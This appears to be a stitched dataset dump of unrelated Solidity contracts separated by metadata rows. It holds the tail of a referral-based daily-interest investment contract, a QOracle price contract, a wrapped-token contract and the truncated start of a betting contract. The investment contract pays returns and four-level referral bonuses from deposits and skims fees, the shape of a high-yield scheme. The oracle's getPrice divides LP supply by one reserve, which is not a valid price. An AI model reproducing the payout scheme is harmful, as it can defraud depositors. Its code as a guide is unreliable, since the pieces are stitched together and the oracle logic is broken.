isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
isExpireds[i] = true;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
}else{
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = (numberOfDays < 10) ? investmentPlans_[investor.plans[i].planId].dailyInterest + numberOfDays : investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = (numberOfDays < 10) ? investmentPlans_[investor.plans[i].planId].dailyInterest + numberOfDays : investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
newDividends,
interests,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
//require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code");
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _ref4 = uid2Investor[_ref3].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
if (_ref4 >= REFERRER_CODE) {
uid2Investor[_ref4].level4RefCount = uid2Investor[_ref4].level4RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
uint256 MINIMUM=0;
if(_planId==0)MINIMUM=50000000;
if(_planId==1)MINIMUM=1000000000;
if(_planId==2)MINIMUM=20000000000;
if(_planId==3)MINIMUM=50000000000;
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_ENTRY_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(ADMIN_ENTRY_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate , plan.maxDailyInterest);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
msg.sender.transfer(withdrawalAmount);
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start , uint256 _maxDailyInterest) private pure returns (uint256) {
uint256 numberOfDays = (_now - _start) / INTEREST_CYCLE ;
uint256 result = 0;
uint256 index = 0;
if(numberOfDays > 0){
uint256 secondsLeft = (_now - _start);
for (index; index < numberOfDays; index++) {
if(_dailyInterestRate + index <= _maxDailyInterest){
secondsLeft -= INTEREST_CYCLE;
result += (_amount * (_dailyInterestRate + index) / 1000 * INTEREST_CYCLE) / (60*60*24);
}
else{
break;
}
}
result += (_amount * (_dailyInterestRate + index) / 1000 * secondsLeft) / (60*60*24);
return result;
}else{
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _ref4 = uid2Investor[_ref3].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
if (_ref4 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL4_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref4].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref4].availableReferrerEarnings);
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
}
| 297,637 | 1,709 |
87691987b249508c934137f2817ecaa208191db5cd9641d08c592d33083b5e5c
| 30,337 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/6d/6de8b5ec09639770318fd4f17c455b107e60b4cc_QOracle.sol
| 3,345 | 13,663 |
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
contract QOracle is Ownable {
using SafeMath for uint256;
// Address of the UniswapV2 pair
address public pair;
// Address of the token whose price we want to get
address public token;
address dao;
// Constructor that sets the addresses of the UniswapV2 pair and token
constructor(address _pair, address _token) public {
pair = _pair;
token = _token;
}
// Get the current price of the token in terms of the reserve asset
// (e.g. ETH if the reserve asset is WETH)
function getPrice() public view returns (uint256) {
// Get the reserve balance of the token
(uint256 reserveBalance,,) = IUniswapV2Pair(pair).getReserves();
// Get the total supply of the token
uint256 totalSupply = IUniswapV2Pair(pair).totalSupply();
// Return the price of the token in terms of the reserve asset
// (total supply / reserve balance)
return totalSupply.div(reserveBalance);
}
function setPair(address _pair) external onlyOwner {
pair = _pair;
}
function setToken(address _token) external onlyOwner {
token = _token;
}
}
| 29,895 | 1,710 |
44051250259bc4f780034db64ea1e0ca7cd5a6054c13964a959861645d19115e
| 30,517 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x6c63D5aDd954442f2459950cE1e948CA06f0B378/contract.sol
| 3,342 | 12,687 |
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract WBSC is ERC20 {
using SafeERC20 for IERC20;
using SafeMath for uint256;
event Deposit(address indexed dst, uint amount);
event Withdrawal(address indexed src, uint amount);
IERC20 public BSC = IERC20(0xf5128928f85F16bD67C1E02DdD1b47A71d17aDF5);
constructor ()
public ERC20("Wrapped BSC",
"WBSC")
{}
function deposit(uint _amount) public {
BSC.safeTransferFrom(msg.sender, address(this), _amount);
_mint(msg.sender, _amount);
Deposit(msg.sender, _amount);
}
function withdraw(uint _amount) public {
_burn(msg.sender, _amount);
BSC.safeTransfer(msg.sender, _amount);
Withdrawal(msg.sender, _amount);
}
}
| 250,147 | 1,711 |
9e3d5328252d4710d5da2a5a39baa52c7393b596be8e6344776955315804e96f
| 25,560 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x959e507febc94d8d85b0adaa1c594c0a02aa209a.sol
| 6,610 | 25,334 |
pragma solidity ^0.5.0;
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b != 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mulByFraction(uint256 number, uint256 numerator, uint256 denominator) internal pure returns (uint256) {
return div(mul(number, numerator), denominator);
}
}
contract Owned {
address payable public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable newOwner) onlyOwner public {
require(newOwner != address(0x0));
owner = newOwner;
}
}
interface OracleContract {
function eventOutputs(uint eventId, uint outputId) external view returns (bool isSet, string memory title, uint possibleResultsCount, uint eventOutputType, string memory announcement, uint decimals);
function owner() external view returns (address);
function getEventForHousePlaceBet(uint id) external view returns (uint closeDateTime, uint freezeDateTime, bool isCancelled);
function getEventOutcomeIsSet(uint eventId, uint outputId) external view returns (bool isSet);
function getEventOutcome(uint eventId, uint outputId) external view returns (uint outcome);
function getEventOutcomeNumeric(uint eventId, uint outputId) external view returns(uint256 outcome1, uint256 outcome2,uint256 outcome3,uint256 outcome4, uint256 outcome5, uint256 outcome6);
}
interface HouseContract {
function owner() external view returns (address payable);
function isHouse() external view returns (bool);
}
contract House is SafeMath, Owned {
enum BetType { headtohead, multiuser, poolbet }
enum BetEvent { placeBet, callBet, removeBet, refuteBet, settleWinnedBet, settleCancelledBet, increaseWager, cancelledByHouse }
uint private betNextId;
struct Bet {
uint id;
address oracleAddress;
uint eventId;
uint outputId;
uint outcome;
bool isOutcomeSet;
uint closeDateTime;
uint freezeDateTime;
bool isCancelled;
uint256 minimumWager;
uint256 maximumWager;
uint256 payoutRate;
address createdBy;
BetType betType;
}
struct HouseData {
bool managed;
string name;
string creatorName;
string countryISO;
address oracleAddress;
address oldOracleAddress;
bool newBetsPaused;
uint housePercentage;
uint oraclePercentage;
uint version;
string shortMessage;
}
address public _newHouseAddress;
HouseData public houseData;
mapping (uint => Bet) public bets;
mapping (address => uint256) public balance;
uint public lastBettingActivity;
mapping (uint => uint256) public betTotalAmount;
mapping (uint => uint) public betTotalBets;
mapping (uint => uint256) public betRefutedAmount;
mapping (uint => mapping (uint => uint256)) public betForcastTotalAmount;
mapping (address => mapping (uint => uint256)) public playerBetTotalAmount;
mapping (address => mapping (uint => uint)) public playerBetTotalBets;
mapping (address => mapping (uint => mapping (uint => uint256))) public playerBetForecastWager;
mapping (uint => mapping (address => uint)) public headToHeadForecasts;
mapping (uint => uint) public headToHeadMaxAcceptedForecasts;
mapping (address => mapping (uint => bool)) public playerBetRefuted;
mapping (address => mapping (uint => bool)) public playerBetSettled;
mapping (address => uint) public ownerPerc;
address payable[] public owners;
mapping (uint => bool) public housePaid;
